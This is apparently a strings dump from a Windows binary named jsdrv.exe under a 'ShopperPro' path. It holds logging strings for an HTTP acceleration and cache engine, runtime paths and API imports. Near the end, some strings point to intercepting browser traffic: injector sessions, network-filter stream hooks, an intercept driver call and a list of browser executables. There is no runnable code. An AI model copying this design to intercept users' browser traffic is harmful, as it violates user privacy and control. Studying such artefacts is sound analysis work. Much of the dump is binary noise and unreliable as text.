[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error Time Acceleration: LastTimeEndPosition   InitialTimeRangeSize > StartTimePosition   TotalPlayDuration (%lld   %lld > %lld   %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error LastEndPosition >= StartPosition   DownloadSize - 1 (%lld >= %lld)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Error RangeIndex > NumberOfConnections (%d > %d)

[AccelerationLogicHD::GetInitialRanges] FDM=%d ___Warning AccelerationLogic == AL_NO_ACCELERATION

[AccelerationLogicHD::SetTimeStartPosition] FDM=%d - Start Time Position: %lld (%lld)

[AccelerationLogicHD::SetLastTimeEndPosition] FDM=%d - Last Time End Position: %lld (%lld)

[AccelerationLogicHD::IsToUseOriginalRequest] Res = %s.

[AccelerationLogicHD::IsPartner] Partner = %d

[AccelerationLogicHD::CalculateRangeSizeLimit] ___Warning SizeLimit %d RangeSize cut from %d to %d

[AccelerationLogicHD::CalculateRangeSizeLimit] FDM=%d - Size limit: %lld

[AccelerationLogicHD::UpdateToRegistryValues] BufferingTime: %d

[AccelerationLogicHD::UpdateToRegistryValues] DelayTime: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MinimumRangeSize: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeSize was reduced to the maximum range size: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeSize was increased to: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - MaxRangeSizePerConnection: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - Did not finish downloading the pre-buffering: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seonds play time: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d ___Warning *** Potential Buffering Predicted *** - Played all ranges

[AccelerationLogicHD::CalculateNextRangeSize] WorkerBps: %d

[AccelerationLogicHD::CalculateNextRangeSize] PlayRate: %d

[AccelerationLogicHD::CalculateNextRangeSize] 3G: %d

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - NextRangeTimeSize was set to the maximum range time size %.1f

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - LastMaxRangeTimeSize was increased to %lld

[AccelerationLogicHD::CalculateNextRangeSize] FDM=%d - n64MaxRangeTimeSizePerConnection %lld

[AccelerationLogicHD::GetMinTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialTimeRangeSize] %d (sec)

[AccelerationLogicHD::GetInitialRangeSize] %d (bytes)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - In about: %.1f seconds

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Player has less then 2 seconds play time: %lld bytes

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - Played all written bytes: %lld

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Potential Buffering Predicted *** - PlayerPosition >= DownloadPosition (%lld >= %lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning *** Download Potential Buffering Predicted *** - TimeLeftToDownload: %.1f

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 10 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait for at least 5 seconds... (%lld)

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d - Wait until finish downloading the player initial cache...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Active job has completed

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Warning Time acceleration is not supported yet...

[AccelerationLogicHD::IsPotentialBuffering] FDM=%d, Job:%d ___Error invalid pJobInfo

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d *** Next Time Range Size: %lld (%d), 3G: %d

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error - Unknown algorithm

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastTimeEndPosition   InitialTimeRangeSize (%lld   %lld) > StartTimePosition   TotalPlayDuration (%lld   %lld)

[AccelerationLogicHD::GetNextRange] FDM=%d ___Error LastEndPosition (%lld) >= StartPosition   DownloadSize - 1 (%lld   %lld)

[AccelerationLogicHD::AccelerateIsSupported] FDM=%d ___Warning - No rule for this domain

AccelerationLogicHD::AccelerateIsSupported

[AccelerationLogicHD::GetRedirectRuleName] FDM=%d - %s

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Enable Acceleration - DownloadRate: %d, PlayTime: %d (Delay: %d)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Range Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d - Last Time End Position: %lld --> %lld (%lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Time Acceleration not needed - All file was downloaded... (%lld >= %lld)

[AccelerationLogicHD::IsToAccelerate] FDM=%d ___Warning - Network too slow for acceleration - wait for pre-buffer to complete... (%d < 7KBps)

[AccelerationLogicHD::FileShouldBeAccelerated] ___Warning - aktimeoffset not supported

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Trail expired

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule pointer for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - No rule for this domain

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Server is known to not support ranges

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - not a GET command

[AccelerationLogicHD::ShouldAccelerate] FDM=%d ___Warning - Number of connection is set to one

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max TimeRangeSize: %lld (ms)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - Initial & Max RangeSize: %lld (bytes)

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - MaxNumberOfConnections: %d

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - iTunes

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d - QuickTimeWinInet

[AccelerationLogicHD::UpdateAccelerationLogic] FDM=%d ___Error - invalid m_pRedirectDomainRule

[AccelerationLogicHD::IsPartner] ___Error - get module filename: %d

[AccelerationLogicHD::Reset] FDM=%d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Default Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Range Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Uri Offset Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Time Token: %s

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d - Rule Location: %d

[AccelerationLogicHD::GetRequestRangeLocation] FDM=%d ___Error - invalid m_pRedirectDomainRule

[CConnectionsManager::OnStartAcceleration] Max: %d, Init: %d, AvgBps: %d

[CConnectionsManager::ResetStartAcceleration] AvgBps: %d

[CConnectionsManager::GetNumberOfConnections] Decreased to: %d, AvgBps: %d (%d)

[CConnectionsManager::GetNumberOfConnections] Increased to: %d, AvgBps: %d (%d)

[CConnectionsManagerSocket] socket %d

[CConnectionsManagerSocket::OnReadEvent] socket %d

[CConnectionsManagerSocket::OnWriteEvent] socket %d

[CConnectionsManagerSocket::OnCloseEvent] socket %d

[CConnectionsManagerSocket::OnAcceptEvent] socket %d

[CConnectionsManagerSocket::OnConnectEvent] socket %d

[~CConnectionsManagerSocket] socket %d

[CConnectionsManager::OnReadEvent] socket %d

[CConnectionsManager::OnWriteEvent] socket %d

[CConnectionsManager::OnConnectEvent] socket %d - Connect Time: %d ms

[CConnectionsManager::PrepareAccelerationConnections] Max: %d, Remote: %s:%d

[CConnectionsManager::AddConnection] socket %d - Remote: %s:%d

[CConnectionsManager::AddConnection] ___Warning socket %d - not connected

[CConnectionsManager::Work] Remote: %s:%d - Done.

[CConnectionsManager::Work] ___Error Connect socket %d

[CConnectionsManager::Work] ___Error AsyncSocket Initialize. LE: %x

[CConnectionsManager::Work] Add socket %d - Remote: %s:%d

[CConnectionsManager::Work] Remote: %s:%d

[CConnectionsManager::Cleanup] %d sockets left in map

[CConnectionsManager::Cleanup] Cleaning %d sockets from map

[CConnectionsManager::RemoveConnection] socket %d

[CConnectionsManager::GetConnection] *** Found socket %d - %s:%d (3G: %d)***

[CConnectionsManager::GetConnection] socket %d - Not matching - %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not ready for Writing or not Connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - not connected to %s:%d

[CConnectionsManager::GetConnection] ___Warning socket %d - GetPeerName

[CConnectionsManager::GetConnection] ___Warning socket %d - GetInternalFlag(SOCKET_IS_CELLULAR) - %d

[CConnectionsManager::GetConnection] Remote: %s:%d, 3G: %d

[CConnectionsManager::OnCloseEvent] socket %d

lighttpd/1.4.8

[AccelerationLogic::SetPlayDuration] FDM=%d - Play Duration: %lld

[AccelerationLogic::SetDownloadSize] FDM=%d - Download size: %lld (%lld)

[AccelerationLogic::SetTotalFileSize] FDM=%d - Total File size: %lld

[AccelerationLogic::SetStartPosition] FDM=%d - Start Position: %lld (%lld)

[AccelerationLogic::SetLastEndPosition] FDM=%d - Last End Position: %lld (%lld)

[AccelerationLogic::SetNumberOfConnections] FDM=%d - Max Connections: %d

[AccelerationLogic::SetInitialNumberOfConnections] FDM=%d - Initial Connections: %d

[AccelerationLogic::SetMaximumRangeSize] FDM=%d - Max Range Size: %lld

[AccelerationLogic::SetMaximumBpsToWriteIntoSocket] FDM=%d - Max BPS: %d

[AccelerationLogic::SetRequestRangeLocation] Request Range Location: %d

[AccelerationLogic::UpdateBytesWritten] FDM=%d, Job:%d (3G: %d) - BytesWritten: %lld, TotalBytesWritten: %lld (%lld   %lld)

[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Content-Type: multipart/form-data; boundary=%s

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

C:\BUILDS\Build_JS\1.38.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

HttpEndRequestA

HttpSendRequestExA

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVCHttpAsync@@

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zcÁ

.?AVCHttp@@

2.5.8305.1508

%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

8&8,8/949{9

0F0X0

>%?/?^?}?

2(2-222x2}2

>5>:>?> ?%?

7#777=7\7

6f6F6X6

>2?8???}?

< <$<(<,<0<4<~<

5#565;5|5

:,:0:4:8:<:

8-8}8

0-0A0U0i0}0

= >%>[?`?

1 20252:2

:*:8:&;5;|;

?/?4?9?|?

6 6$6(6,6

=,>0>4>8><>@>

*0004080<0

&0 000|0

99S9^9

="=(=5=:=@=

91969;9{9

9(9[9`93:

3?3T3f3n3

7 7$7(7,7

= =$=(=,=0=4=

1 1$1(1,1014181<1

2 2$2(2,2

; ;$;(;,;0;

4 4$4(4,4044484<4@4

; ;$;(;,;0;4;8;<;@;

9 9$9(9,9094989<9@9

,<0<4<8<

8 8$8(8,8084888<8$>(>

5 5$5(5,5054585<5

? ?$?(?,?0?4?8?

9$9,989\9|9

3(303<3`3

;,<8<\<|<

>$>,>8>\>|>

;$;,;4;@;`;

=(=0=<=`=

: ;,;4;`;

1$1<1@1`1

3 3$3<3@3\3`3|3

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

